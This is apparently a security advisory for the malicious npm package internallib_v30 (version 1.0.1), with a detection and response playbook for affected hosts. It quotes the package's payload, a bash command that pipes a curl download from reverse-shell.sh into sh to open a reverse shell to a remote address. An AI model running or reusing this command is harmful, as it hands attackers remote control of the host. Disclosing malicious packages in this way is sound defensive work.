internallib_v30npm
Advisory published Updated
internallib_v30 is a confirmed malicious npm package (MAL-2026-17633) that opens a backdoor for remote access (malicious version 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in internallib_v30 (npm)
What this malware does
[email protected] ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.

Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for internallib_v30 (version 1.0.1).
If you installed it — respond
internallib_v30 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If internallib_v30 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks internallib_v30-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.
